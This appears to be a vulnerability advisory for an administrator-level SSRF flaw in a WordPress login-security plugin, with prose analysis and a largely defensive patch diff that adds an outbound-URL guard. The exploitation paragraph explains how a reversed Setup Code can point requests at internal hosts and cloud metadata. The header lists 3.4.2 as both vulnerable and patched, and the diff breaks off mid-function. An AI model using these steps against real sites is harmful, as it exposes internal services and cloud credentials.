Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-118439: Limit Login Attempts Security – Brute Force Protection, 2FA, Firewall & Login Security < 3.4.2 Authenticated (Administrator+) Server-Side Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.5)
CWE 918
Vulnerable Version 3.4.2
Patched Version 3.4.2
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-118439: The Limit Login Attempts Security plugin for WordPress (versions before 3.4.2) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. An attacker with administrator-level access can force the plugin to make HTTP requests to arbitrary internal or external destinations. The flaw resides in the plugin’s CloudApp setup flow, which uses user-supplied input (the Setup Code) to construct an outbound URL without validating the destination. Atomic Edge rates this as medium severity (CVSS 5.5) because it requires high privileges, but successful exploitation can lead to internal network reconnaissance and access to cloud metadata services.

Root Cause: The vulnerability exists in the `CloudApp::setup()` method (core/CloudApp.php, lines 133-188 in the vulnerable version). The method takes a `$link` parameter (derived from the Setup Code) and prepends `https://` if missing, then adds query arguments and passes the resulting URL to `Http::get()`. The plugin’s HTTP abstraction layer (core/http/Http.php) lacked any outbound URL policy. The `Http::get()` and `Http::post()` methods (lines 43-98) simply forwarded the URL to the selected transport (fopen, wp_remote_get, or cURL) without validating the host or resolved IPs. Therefore, an administrator could supply a Setup Code that decodes to an internal IP address or a public hostname resolving to internal addresses, and the plugin would fetch it from the server’s context.

Exploitation: An attacker with administrator credentials can navigate to the plugin’s settings page and submit a crafted Setup Code. The Setup Code is reversed and parsed to form a URL. For example, supplying `moc.elpmaxe//:ptth` (reversed `http://example.com`) would cause the plugin to request `http://example.com`. By using internal IPs such as `169.254.169.254` (cloud metadata) or `127.0.0.1`, the attacker can access sensitive endpoints. The HTTP response is then processed and stored or displayed, allowing the attacker to read the response. No additional nonce or token is required beyond the administrator session.

Patch Analysis: Version 3.4.2 introduces a comprehensive SSRF guard in `Http::get()` and `Http::post()`. The new `resolve_destination()` method (core/http/Http.php) validates the URL using `wp_http_validate_url()`, then resolves all A and AAAA records via `resolve_host()`. It rejects any destination whose IP falls into private, loopback, link-local (including 169.254.169.254), or other reserved ranges defined in `$blocked_ipv4_ranges` and IPv6 prefixes. The method also respects the `http_request_host_is_external` filter for self-hosted internal services. When a request is blocked, `Http::get()` returns a policy rejection response with `blocked => true`, and callers like `CloudApp::setup()` check for this flag and return a user-friendly error. This prevents the plugin from ever sending a request to a disallowed address.

Impact: Successful exploitation allows an authenticated administrator to perform SSRF, which can lead to access to internal services (e.g., Redis, databases, Kubernetes API) and cloud metadata endpoints (e.g., AWS EC2 instance role credentials). This could result in information disclosure, privilege escalation within the cloud environment, or further compromise of the hosting infrastructure. The vulnerability does not directly allow remote code execution, but it significantly expands the attack surface from the WordPress admin panel to the underlying network.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/limit-login-attempts-reloaded/core/CloudApp.php
+++ b/limit-login-attempts-reloaded/core/CloudApp.php
@@ -5,10 +5,12 @@
 use Exception;
 use LLARCoreHttpHttp;

-if ( ! defined( 'ABSPATH' ) ) exit;
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class CloudApp {

-class CloudApp
-{
 	/**
 	 * @var null|string
 	 */
@@ -53,16 +55,15 @@
 	 * App constructor.
 	 * @param array $config
 	 */
-	public function __construct( array $config )
-	{
+	public function __construct( array $config ) {
 		if ( empty( $config ) ) {
 			return false;
 		}

 		// Read required fields defensively: a missing field must surface as a
 		// user-facing error later, not as a PHP warning here.
-		$this->id = isset( $config['id'] ) ? 'app_' . $config['id'] : null;
-		$this->api = isset( $config['api'] ) ? $config['api'] : null;
+		$this->id     = isset( $config['id'] ) ? 'app_' . $config['id'] : null;
+		$this->api    = isset( $config['api'] ) ? $config['api'] : null;
 		$this->config = $config;

 		foreach ( array( 'id', 'api', 'header', 'key' ) as $required_field ) {
@@ -77,8 +78,7 @@
 	 *
 	 * @return array
 	 */
-	public function get_missing_config_fields()
-	{
+	public function get_missing_config_fields() {
 		return $this->missing_config_fields;
 	}

@@ -87,8 +87,7 @@
 	 *
 	 * @return bool
 	 */
-	public function is_config_valid()
-	{
+	public function is_config_valid() {
 		return empty( $this->missing_config_fields );
 	}

@@ -96,8 +95,7 @@
 	 * @param $error
 	 * @return bool
 	 */
-	public function add_error( $error )
-	{
+	public function add_error( $error ) {
 		if ( ! $error ) {
 			return false;
 		}
@@ -108,24 +106,21 @@
 	/**
 	 * @return array
 	 */
-	public function get_errors()
-	{
+	public function get_errors() {
 		return $this->login_errors;
 	}

 	/**
 	 * @return null|string
 	 */
-	public function get_id()
-	{
+	public function get_id() {
 		return $this->id;
 	}

 	/**
 	 * @return array
 	 */
-	public function get_config()
-	{
+	public function get_config() {
 		return $this->config;
 	}

@@ -133,8 +128,7 @@
 	 * @param $link
 	 * @return false[]
 	 */
-	public static function setup( $link )
-	{
+	public static function setup( $link ) {
 		$return = array(
 			'success' => false,
 		);
@@ -146,18 +140,27 @@
 		$link = 'https://' . $link;

 		$domain = parse_url( home_url( '/' ) );
-		$link = add_query_arg( 'domain', $domain['host'], $link );
+		$link   = add_query_arg( 'domain', $domain['host'], $link );

 		$plugin_data = get_plugin_data( LLA_PLUGIN_DIR . 'limit-login-attempts-reloaded.php' );
-		$link = add_query_arg( 'version', $plugin_data['Version'], $link );
+		$link        = add_query_arg( 'version', $plugin_data['Version'], $link );

 		// Provisioning is slower than regular API calls — allow more time.
 		$setup_response = Http::get( $link, array( 'timeout' => 20 ) );

-		$response_data = isset( $setup_response['data'] ) ? $setup_response['data'] : '{}';
+		// The outbound URL policy blocked the destination (the setup code is
+		// user input): report a clear reason without fetching — and without
+		// logging the attacker-influenced URL.
+		if ( ! empty( $setup_response['blocked'] ) ) {
+			$return['error'] = __( 'The Setup Code points to a destination this site cannot contact. Setup codes are issued by your app provider and always point to a public HTTPS address.', 'limit-login-attempts-reloaded' );
+
+			return $return;
+		}
+
+		$response_data       = isset( $setup_response['data'] ) ? $setup_response['data'] : '{}';
 		$setup_response_body = json_decode( $response_data, true );

-		if ( $setup_response['status'] === 200 && empty( $setup_response['error'] ) ) {
+		if ( 200 === $setup_response['status'] && empty( $setup_response['error'] ) ) {

 			$return['success']    = true;
 			$return['app_config'] = $setup_response_body;
@@ -188,8 +191,7 @@
 		return $return;
 	}

-	public static function activate_license_key( $setup_code )
-	{
+	public static function activate_license_key( $setup_code ) {
 		$link = strrev( $setup_code );

 		/**
@@ -269,8 +271,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function stats()
-	{
+	public function stats() {
 		if ( empty( $this->stats_cache ) ) {
 			$this->stats_cache = $this->request( 'stats' );
 		}
@@ -281,11 +282,10 @@
 	/**
 	 * @return bool|mixed
 	 */
-	public static function stats_global()
-	{
+	public static function stats_global() {
 		$response = Http::get( 'https://api.limitloginattempts.com/v1/global-stats' );

-		if ( $response['status'] !== 200 ) {
+		if ( 200 !== $response['status'] ) {
 			return false;
 		}

@@ -298,8 +298,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function acl_check( $data )
-	{
+	public function acl_check( $data ) {
 		$this->prepare_settings( 'acl', $data );

 		return $this->request( 'acl', 'post', $data );
@@ -311,142 +310,136 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function acl( $data )
-	{
+	public function acl( $data ) {
 		return $this->request( 'acl', 'get', $data );
 	}

-    /**
-     * @return bool|mixed
-     * @throws Exception
-     */
-    public function info()
-    {
-        if ( ! $this->is_config_valid() ) {
-            if ( ! defined( 'LLAR_FAILED_INFO_NOTICE_SHOWN' ) ) {
-                define( 'LLAR_FAILED_INFO_NOTICE_SHOWN', true );
-                $this->render_config_incomplete_notice();
-            }
-
-            return false;
-        }
-
-        $info = $this->request_info();
-
-        if ( ! $info && ! defined( 'LLAR_FAILED_INFO_NOTICE_SHOWN' ) && $this->is_info_network_failure() ) {
-            define( 'LLAR_FAILED_INFO_NOTICE_SHOWN', true );
-            $this->render_info_network_failure_notice();
-        }
-
-        return $info;
-    }
-
-    /**
-     * Whether the last /info call failed before reaching the Cloud API (transport / DNS / timeout).
-     *
-     * @return bool
-     */
-    public function is_info_network_failure()
-    {
-        if ( 0 < (int) $this->last_response_code ) {
-            return false;
-        }
-
-        return true;
-    }
-
-    /**
-     * @return bool|mixed
-     * @throws Exception
-     */
-    private function request_info()
-    {
-        if ( ! $this->api ) {
-            error_log( 'LLAR: CloudApp info request skipped - Cloud API endpoint is not configured. Missing fields: ' . implode( ', ', $this->missing_config_fields ) );
-            $this->last_error_message = 'Cloud API endpoint is not configured.';
-
-            return false;
-        }
-
-        $headers   = array();
-        $headers[] = "{$this->config['header']}: {$this->config['key']}";
-
-        $response = Http::get(
-            $this->api . '/info',
-            array(
-                'headers' => $headers,
-            )
-        );
-
-        $this->last_response_code = ! empty( $response['status'] ) ? $response['status'] : 0;
-        $this->last_error_message = ! empty( $response['error'] ) ? $response['error'] : null;
-
-        $this->maybe_fallback_to_local_on_trial_expired( $response );
-
-        $info = false;
-        if ( ! empty( $response['data'] ) ) {
-            $decoded = json_decode( $response['data'], true );
-            if ( is_array( $decoded ) && ! empty( $decoded ) ) {
-                $info = Helpers::sanitize_stripslashes_deep( $decoded );
-            }
-        }
-
-        if ( 200 !== (int) $this->last_response_code ) {
-            error_log( 'LLAR: CloudApp info request failed: ' . $this->api . '/info ' . $this->last_response_code );
-        }
-
-        return $info;
-    }
-
-    /**
-     * Admin notice when the stored app config is incomplete: a required
-     * field (e.g. "api") is missing, so no Cloud API call is possible.
-     */
-    private function render_config_incomplete_notice()
-    {
-        $message = sprintf(
-            /* translators: %s: comma-separated list of missing config fields. */
-            __( 'The Cloud App configuration is incomplete (missing field(s): %s). Please re-enter your Setup Code on the Settings tab to re-import the app configuration.', 'limit-login-attempts-reloaded' ),
-            esc_html( implode( ', ', $this->missing_config_fields ) )
-        );
-
-        echo '<div class="notice notice-error" style="display: block;"><p>' . $message . '</p></div>';
-    }
-
-    /**
-     * Admin notice when /info could not reach the Cloud API at all.
-     */
-    private function render_info_network_failure_notice()
-    {
-        $details = array();
-
-        if ( null !== $this->last_response_code ) {
-            $details[] = sprintf(
-                /* translators: %d: HTTP response code. */
-                __( 'Code: %d', 'limit-login-attempts-reloaded' ),
-                intval( $this->last_response_code )
-            );
-        }
-
-        if ( ! empty( $this->last_error_message ) ) {
-            $details[] = sprintf(
-                /* translators: %s: technical error reason. */
-                __( 'Reason: %s', 'limit-login-attempts-reloaded' ),
-                esc_html( $this->get_readable_error_reason( $this->last_error_message ) )
-            );
-        }
-
-        $message = __( 'Oops, it looks like the site is having a temporary network issue.', 'limit-login-attempts-reloaded' );
-
-        if ( ! empty( $details ) ) {
-            $message .= ' (' . implode( '; ', $details ) . ')';
-        }
-
-        $refresh_label = __( 'Click here to refresh the page', 'limit-login-attempts-reloaded' );
-
-        echo '<div class="notice notice-error" style="display: block;"><p>' . $message . '</p>';
-        echo '<p><a href="javascript:void(0);" onclick="window.location.reload();" class="button button-primary">' . esc_html( $refresh_label ) . '</a></p></div>';
-    }
+	/**
+	 * @return bool|mixed
+	 * @throws Exception
+	 */
+	public function info() {
+		if ( ! $this->is_config_valid() ) {
+			if ( ! defined( 'LLAR_FAILED_INFO_NOTICE_SHOWN' ) ) {
+				define( 'LLAR_FAILED_INFO_NOTICE_SHOWN', true );
+				$this->render_config_incomplete_notice();
+			}
+
+			return false;
+		}
+
+		$info = $this->request_info();
+
+		if ( ! $info && ! defined( 'LLAR_FAILED_INFO_NOTICE_SHOWN' ) && $this->is_info_network_failure() ) {
+			define( 'LLAR_FAILED_INFO_NOTICE_SHOWN', true );
+			$this->render_info_network_failure_notice();
+		}
+
+		return $info;
+	}
+
+	/**
+	 * Whether the last /info call failed before reaching the Cloud API (transport / DNS / timeout).
+	 *
+	 * @return bool
+	 */
+	public function is_info_network_failure() {
+		if ( 0 < (int) $this->last_response_code ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * @return bool|mixed
+	 * @throws Exception
+	 */
+	private function request_info() {
+		if ( ! $this->api ) {
+			error_log( 'LLAR: CloudApp info request skipped - Cloud API endpoint is not configured. Missing fields: ' . implode( ', ', $this->missing_config_fields ) );
+			$this->last_error_message = 'Cloud API endpoint is not configured.';
+
+			return false;
+		}
+
+		$headers   = array();
+		$headers[] = "{$this->config['header']}: {$this->config['key']}";
+
+		$response = Http::get(
+			$this->api . '/info',
+			array(
+				'headers' => $headers,
+			)
+		);
+
+		$this->last_response_code = ! empty( $response['status'] ) ? $response['status'] : 0;
+		$this->last_error_message = ! empty( $response['error'] ) ? $response['error'] : null;
+
+		$this->maybe_fallback_to_local_on_trial_expired( $response );
+
+		$info = false;
+		if ( ! empty( $response['data'] ) ) {
+			$decoded = json_decode( $response['data'], true );
+			if ( is_array( $decoded ) && ! empty( $decoded ) ) {
+				$info = Helpers::sanitize_stripslashes_deep( $decoded );
+			}
+		}
+
+		if ( 200 !== (int) $this->last_response_code ) {
+			error_log( 'LLAR: CloudApp info request failed: ' . $this->api . '/info ' . $this->last_response_code );
+		}
+
+		return $info;
+	}
+
+	/**
+	 * Admin notice when the stored app config is incomplete: a required
+	 * field (e.g. "api") is missing, so no Cloud API call is possible.
+	 */
+	private function render_config_incomplete_notice() {
+		$message = sprintf(
+			/* translators: %s: comma-separated list of missing config fields. */
+			__( 'The Cloud App configuration is incomplete (missing field(s): %s). Please re-enter your Setup Code on the Settings tab to re-import the app configuration.', 'limit-login-attempts-reloaded' ),
+			implode( ', ', $this->missing_config_fields )
+		);
+
+		echo '<div class="notice notice-error" style="display: block;"><p>' . esc_html( $message ) . '</p></div>';
+	}
+
+	/**
+	 * Admin notice when /info could not reach the Cloud API at all.
+	 */
+	private function render_info_network_failure_notice() {
+		$details = array();
+
+		if ( null !== $this->last_response_code ) {
+			$details[] = sprintf(
+				/* translators: %d: HTTP response code. */
+				__( 'Code: %d', 'limit-login-attempts-reloaded' ),
+				intval( $this->last_response_code )
+			);
+		}
+
+		if ( ! empty( $this->last_error_message ) ) {
+			$details[] = sprintf(
+				/* translators: %s: technical error reason. */
+				__( 'Reason: %s', 'limit-login-attempts-reloaded' ),
+				$this->get_readable_error_reason( $this->last_error_message )
+			);
+		}
+
+		$message = __( 'Oops, it looks like the site is having a temporary network issue.', 'limit-login-attempts-reloaded' );
+
+		if ( ! empty( $details ) ) {
+			$message .= ' (' . implode( '; ', $details ) . ')';
+		}
+
+		$refresh_label = __( 'Click here to refresh the page', 'limit-login-attempts-reloaded' );
+
+		echo '<div class="notice notice-error" style="display: block;"><p>' . esc_html( $message ) . '</p>';
+		echo '<p><a href="javascript:void(0);" onclick="window.location.reload();" class="button button-primary">' . esc_html( $refresh_label ) . '</a></p></div>';
+	}

 	/**
 	 * @param $data
@@ -454,8 +447,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function acl_create( $data )
-	{
+	public function acl_create( $data ) {
 		return $this->request( 'acl/create', 'post', $data );
 	}

@@ -465,8 +457,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function acl_delete( $data )
-	{
+	public function acl_delete( $data ) {
 		return $this->request( 'acl/delete', 'post', $data );
 	}

@@ -474,8 +465,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function country()
-	{
+	public function country() {
 		return $this->request( 'country', 'get' );
 	}

@@ -484,8 +474,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function country_add( $data )
-	{
+	public function country_add( $data ) {
 		return $this->request( 'country/add', 'post', $data );
 	}

@@ -494,8 +483,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function country_remove( $data )
-	{
+	public function country_remove( $data ) {
 		return $this->request( 'country/remove', 'post', $data );
 	}

@@ -505,8 +493,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function country_rule( $data )
-	{
+	public function country_rule( $data ) {
 		return $this->request( 'country/rule', 'post', $data );
 	}

@@ -516,8 +503,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function lockout_check( $data )
-	{
+	public function lockout_check( $data ) {
 		$this->prepare_settings( 'lockout', $data );

 		return $this->request( 'lockout', 'post', $data );
@@ -530,12 +516,11 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function log($limit = 25, $offset = '')
-	{
+	public function log( $limit = 25, $offset = '' ) {
 		$data = array();

-		$data['limit'] = $limit;
-		$data['offset'] = $offset;
+		$data['limit']    = $limit;
+		$data['offset']   = $offset;
 		$data['is_short'] = 1;

 		return $this->request( 'log', 'get', $data );
@@ -549,12 +534,11 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function get_login($limit = 25, $offset = '')
-	{
+	public function get_login( $limit = 25, $offset = '' ) {
 		$data = array();

-		$data['limit'] = $limit;
-		$data['offset'] = $offset;
+		$data['limit']    = $limit;
+		$data['offset']   = $offset;
 		$data['is_short'] = 1;

 		return $this->request( 'login', 'get', $data );
@@ -568,11 +552,10 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function get_lockouts($limit = 25, $offset = '')
-	{
+	public function get_lockouts( $limit = 25, $offset = '' ) {
 		$data = array();

-		$data['limit'] = $limit;
+		$data['limit']  = $limit;
 		$data['offset'] = $offset;

 		return $this->request( 'lockout', 'get', $data );
@@ -583,8 +566,7 @@
 	 *
 	 * @param $method
 	 */
-	public function prepare_settings( $method, &$data )
-	{
+	public function prepare_settings( $method, &$data ) {
 		$settings = array();

 		if ( ! empty( $this->config['settings'] ) ) {
@@ -592,7 +574,7 @@
 			foreach ( $this->config['settings'] as $setting_name => $setting_data ) {

 				if ( in_array( $method, $setting_data['methods'] ) ) {
-					$settings[$setting_name] = $setting_data['value'];
+					$settings[ $setting_name ] = $setting_data['value'];
 				}
 			}
 		}
@@ -609,8 +591,7 @@
 	 * @return bool|mixed
 	 * @throws Exception
 	 */
-	public function request( $method, $type = 'get', $data = null )
-	{
+	public function request( $method, $type = 'get', $data = null ) {
 		if ( ! $method ) {
 			throw new Exception( 'You must specify API method.' );
 		}
@@ -624,15 +605,18 @@
 			return false;
 		}

-		$headers = array();
+		$headers   = array();
 		$headers[] = "{$this->config['header']}: {$this->config['key']}";

-		$response = Http::$type( $this->api . '/' . $method, array(
-			'data'      => $data,
-			'headers'   => $headers
-		) );
+		$response = Http::$type(
+			$this->api . '/' . $method,
+			array(
+				'data'    => $data,
+				'headers' => $headers,
+			)
+		);

-		$this->last_response_code = !empty( $response['status'] ) ? $response['status'] : 0;
+		$this->last_response_code = ! empty( $response['status'] ) ? $response['status'] : 0;
 		$this->last_error_message = ! empty( $response['error'] ) ? $response['error'] : null;

 		$this->maybe_fallback_to_local_on_trial_expired( $response );
--- a/limit-login-attempts-reloaded/core/http/Http.php
+++ b/limit-login-attempts-reloaded/core/http/Http.php
@@ -19,20 +19,51 @@
 	private static $transport;

 	/**
+	 * IPv4 ranges that must never be fetched: this address, private,
+	 * link-local (incl. cloud metadata 169.254.169.254), CGNAT, documentation,
+	 * benchmarking, multicast and reserved space.
+	 *
+	 * @var array
+	 */
+	private static $blocked_ipv4_ranges = array(
+		array( '0.0.0.0', '0.255.255.255' ),         // "this" network
+		array( '10.0.0.0', '10.255.255.255' ),        // private
+		array( '100.64.0.0', '100.127.255.255' ),     // CGNAT
+		array( '127.0.0.0', '127.255.255.255' ),      // loopback
+		array( '169.254.0.0', '169.254.255.255' ),    // link-local, cloud metadata
+		array( '172.16.0.0', '172.31.255.255' ),      // private
+		array( '192.0.0.0', '192.0.0.255' ),          // IETF protocol assignments
+		array( '192.0.2.0', '192.0.2.255' ),          // TEST-NET-1
+		array( '192.88.99.0', '192.88.99.255' ),      // 6to4 relay anycast
+		array( '192.168.0.0', '192.168.255.255' ),    // private
+		array( '198.18.0.0', '198.19.255.255' ),      // benchmarking
+		array( '198.51.100.0', '198.51.100.255' ),    // TEST-NET-2
+		array( '203.0.113.0', '203.0.113.255' ),      // TEST-NET-3
+		array( '224.0.0.0', '239.255.255.255' ),      // multicast
+		array( '240.0.0.0', '255.255.255.255' ),      // reserved, broadcast
+	);
+
+	/**
 	 * @throws Exception
 	 */
 	public static function init() {

-		if( function_exists( 'fopen' ) && ini_get( 'allow_url_fopen' ) === '1' ) {
-			self::$transport = new HttpTransportFopen();
-		} else if( function_exists( 'wp_remote_get' ) ) {
-			self::$transport = new HttpTransportWp();
-		} else if( function_exists( 'curl_version' ) ) {
-			self::$transport = new HttpTransportCurl();
-		} else {
-			throw new Exception( 'Unable to determine HTTP transport.' );
-		}
+		switch ( true ) {
+			case function_exists( 'fopen' ) && ini_get( 'allow_url_fopen' ) === '1':
+				self::$transport = new HttpTransportFopen();
+				break;
+
+			case function_exists( 'wp_remote_get' ):
+				self::$transport = new HttpTransportWp();
+				break;
+
+			case function_exists( 'curl_version' ):
+				self::$transport = new HttpTransportCurl();
+				break;

+			default:
+				throw new Exception( 'Unable to determine HTTP transport.' );
+		}
 	}

 	/**
@@ -43,6 +74,18 @@
 	 */
 	public static function get( $url, $options = array() ) {

+		$destination = self::resolve_destination( $url );
+
+		if ( null === $destination ) {
+			return self::unresolvable_response();
+		}
+
+		if ( false === $destination ) {
+			return self::policy_rejection();
+		}
+
+		$options['destination'] = $destination;
+
 		return self::$transport->get( $url, $options );
 	}

@@ -88,11 +131,381 @@
 	 */
 	public static function post( $url, $options = array() ) {

-		$options['headers'] = array_merge(
+		$destination = self::resolve_destination( $url );
+
+		if ( null === $destination ) {
+			return self::unresolvable_response();
+		}
+
+		if ( false === $destination ) {
+			return self::policy_rejection();
+		}
+
+		$options['destination'] = $destination;
+		$options['headers']     = array_merge(
 			array( 'Content-Type: application/json; charset=utf-8' ),
-			!empty( $options['headers'] ) ? $options['headers'] : array()
+			! empty( $options['headers'] ) ? $options['headers'] : array()
 		);

 		return self::$transport->post( $url, $options );
 	}
-}
 No newline at end of file
+
+	/**
+	 * Outbound URL policy (SSRF guard) — the single source of truth.
+	 *
+	 * @param string $url
+	 *
+	 * @return bool
+	 */
+	public static function is_url_allowed( $url ) {
+
+		return is_array( self::resolve_destination( $url ) );
+	}
+
+	/**
+	 * Normalize a hostname: strip brackets, trailing dots, lowercase.
+	 *
+	 * @param string $host
+	 *
+	 * @return string
+	 */
+	public static function normalize_host( $host ) {
+
+		if ( ! is_string( $host ) || '' === $host ) {
+			return '';
+		}
+
+		return strtolower( rtrim( trim( $host, '[]' ), '.' ) );
+	}
+
+	/**
+	 * Whether $host is the site's own host (core same-host policy).
+	 *
+	 * @param string $host already-normalized or raw
+	 *
+	 * @return bool
+	 */
+	public static function is_same_host( $host ) {
+
+		$host = self::normalize_host( $host );
+		$home = self::normalize_host( (string) wp_parse_url( home_url( '/' ), PHP_URL_HOST ) );
+
+		return '' !== $host && '' !== $home && $host === $home;
+	}
+
+	/**
+	 * Transport-shaped policy rejection. Shared by the facade and transports
+	 * so callers always see `blocked => true` with a stable error string.
+	 *
+	 * @param string|null $error
+	 *
+	 * @return array
+	 */
+	public static function policy_rejection( $error = null ) {
+
+		return array(
+			'data'    => null,
+			'status'  => 0,
+			'error'   => $error
+				? $error
+				: 'Destination rejected by the outbound URL policy (loopback, private networks and non-standard ports are not fetchable).',
+			'blocked' => true,
+		);
+	}
+
+	/**
+	 * Validate an outbound destination and resolve it to the exact IPs the
+	 * transport should connect to.
+	 *
+	 * Two layers:
+	 *
+	 * 1. wp_http_validate_url() — scheme, embedded credentials, port
+	 *    whitelist (80/443/8080), same-host allowance and the core filters
+	 *    (`http_request_host_is_external`, `http_allowed_safe_ports`) that
+	 *    self-hosted setups use as the escape hatch.
+	 *
+	 * 2. Our own range check over EVERY A and AAAA record. Core only rejects
+	 *    0/8, 10/8, 127/8, 172.16/12 and 192.168/16 (still true in 6.5), so
+	 *    link-local 169.254.0.0/16 — the cloud metadata endpoint — and the
+	 *    rest of the IANA special-purpose space would otherwise pass. Doing
+	 *    this ourselves keeps the policy independent of the WordPress version
+	 *    the site happens to run.
+	 *
+	 * The returned IP list is what closes DNS rebinding: the transport pins
+	 * the connection to these addresses (CURLOPT_RESOLVE / rewritten URL +
+	 * Host + TLS peer name) instead of resolving the name a second time.
+	 *
+	 * The site's own host is allowed (core parity — self-hosted setups talk
+	 * to themselves); no pinning is applied there.
+	 *
+	 * Fail-closed: anything that cannot be validated is not fetchable.
+	 *
+	 * @param string $url
+	 *
+	 * @return array|false|null array on allow, false on policy/invalid, null on NXDOMAIN
+	 */
+	public static function resolve_destination( $url ) {
+
+		if ( ! is_string( $url ) || '' === $url ) {
+			return false;
+		}
+
+		if ( ! function_exists( 'wp_http_validate_url' ) ) {
+			return false;
+		}
+
+		$parsed = wp_parse_url( $url );
+
+		if ( empty( $parsed['host'] ) ) {
+			return false;
+		}
+
+		$scheme = isset( $parsed['scheme'] ) ? strtolower( $parsed['scheme'] ) : 'http';
+		$host   = self::normalize_host( $parsed['host'] );
+		$port   = isset( $parsed['port'] ) ? (int) $parsed['port'] : ( 'https' === $scheme ? 443 : 80 );
+
+		if ( '' === $host ) {
+			return false;
+		}
+
+		$core_ok = (bool) wp_http_validate_url( $url );
+
+		if ( ! $core_ok ) {
+			// WordPress rejects IPv6 literals (strpbrk on ':'). Validate those
+			// ourselves so public AAAA destinations stay reachable; everything
+			// else that fails core is rejected before our DNS lookup.
+			// Caveat: some WP HTTP transports may still refuse a bracketed
+			// IPv6 authority URL — that fails closed as a transport error,
+			// not a security bypass. Prefer Curl (CURLOPT_RESOLVE) for
+			// hostname→AAAA pins.
+			if ( ! filter_var( $host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
+				return false;
+			}
+
+			$safe_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url );
+			if ( ! is_array( $safe_ports ) || ! in_array( $port, $safe_ports, true ) ) {
+				return false;
+			}
+
+			$host_is_external = (bool) apply_filters( 'http_request_host_is_external', false, $host, $url );
+			if ( self::is_non_public_ip( $host ) && ! $host_is_external ) {
+				return false;
+			}
+
+			return array(
+				'scheme'    => $scheme,
+				'host'      => $host,
+				'port'      => $port,
+				'ips'       => array( $host ),
+				'same_host' => false,
+			);
+		}
+
+		if ( self::is_same_host( $host ) ) {
+			return array(
+				'scheme'    => $scheme,
+				'host'      => $host,
+				'port'      => $port,
+				'ips'       => array(),
+				'same_host' => true,
+			);
+		}
+
+		// One plugin-side resolution for pinning + our range check.
+		// null = resolved empty despite core OK (rare resolver mismatch).
+		$ips = self::resolve_host( $host );
+
+		if ( empty( $ips ) ) {
+			return null;
+		}
+
+		// Core's escape hatch for self-hosted/internal endpoints. Core only
+		// consults it for its own short private list; our range check is
+		// wider, so it has to honour the same filter — otherwise a site that
+		// deliberately points an internal app/MFA endpoint at a container
+		// name or a link-local address would be locked out with no way back.
+		$host_is_external = (bool) apply_filters( 'http_request_host_is_external', false, $host, $url );
+
+		foreach ( $ips as $ip ) {
+			if ( self::is_non_public_ip( $ip ) && ! $host_is_external ) {
+				return false;
+			}
+		}
+
+		return array(
+			'scheme'    => $scheme,
+			'host'      => $host,
+			'port'      => $port,
+			'ips'       => $ips,
+			'same_host' => false,
+		);
+	}
+
+	/**
+	 * Resolve a hostname to every A and AAAA record it publishes.
+	 * A single record is not enough: a name with a public A and a loopback
+	 * AAAA (or several A records, one of them private) must be rejected as a
+	 * whole.
+	 *
+	 * @param string $host
+	 *
+	 * @return array
+	 */
+	public static function resolve_host( $host ) {
+
+		if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+			return array( $host );
+		}
+
+		$ips = array();
+
+		if ( function_exists( 'dns_get_record' ) ) {
+			foreach ( (array) @dns_get_record( $host, DNS_A | DNS_AAAA ) as $record ) {
+				if ( ! empty( $record['ip'] ) ) {
+					$ips[] = $record['ip'];
+				}
+				if ( ! empty( $record['ipv6'] ) ) {
+					$ips[] = $record['ipv6'];
+				}
+			}
+		}
+
+		if ( empty( $ips ) ) {
+			$ip = gethostbyname( $host );
+
+			if ( $ip !== $host ) {
+				$ips[] = $ip;
+			}
+		}
+
+		return array_values( array_unique( $ips ) );
+	}
+
+	/**
+	 * @param string $ip
+	 *
+	 * @return bool
+	 */
+	public static function is_non_public_ip( $ip ) {
+
+		$long = ip2long( $ip );
+
+		if ( false !== $long ) {
+			foreach ( self::$blocked_ipv4_ranges as $range ) {
+				if ( $long >= ip2long( $range[0] ) && $long <= ip2long( $range[1] ) ) {
+					return true;
+				}
+			}
+
+			return false;
+		}
+
+		$bin = @inet_pton( $ip );
+
+		if ( false === $bin || 16 !== strlen( $bin ) ) {
+			return true;
+		}
+
+		if ( inet_pton( '::1' ) === $bin || inet_pton( '::' ) === $bin ) {
+			return true;
+		}
+
+		$first = ord( $bin[0] );
+
+		// fc00::/7 unique local, fe80::/10 link-local.
+		if ( 0xfc === $first || 0xfd === $first ) {
+			return true;
+		}
+		if ( 0xfe === $first && 0x80 === ( ord( $bin[1] ) & 0xc0 ) ) {
+			return true;
+		}
+
+		// Prefix blocks (IANA special-purpose / documentation / discard / Teredo /
+		// local-use NAT64). Checked before IPv4-embedded unwraps so a special
+		// prefix cannot slip through as "public wrapper + public v4".
+		$prefixes = array(
+			array( '100::', 64 ),          // discard-only
+			array( '2001:db8::', 32 ),     // documentation
+			array( '2001::', 32 ),         // Teredo
+			array( '64:ff9b:1::', 48 ),    // local-use NAT64
+		);
+
+		foreach ( $prefixes as $prefix ) {
+			if ( self::ipv6_has_prefix( $bin, $prefix[0], $prefix[1] ) ) {
+				return true;
+			}
+		}
+
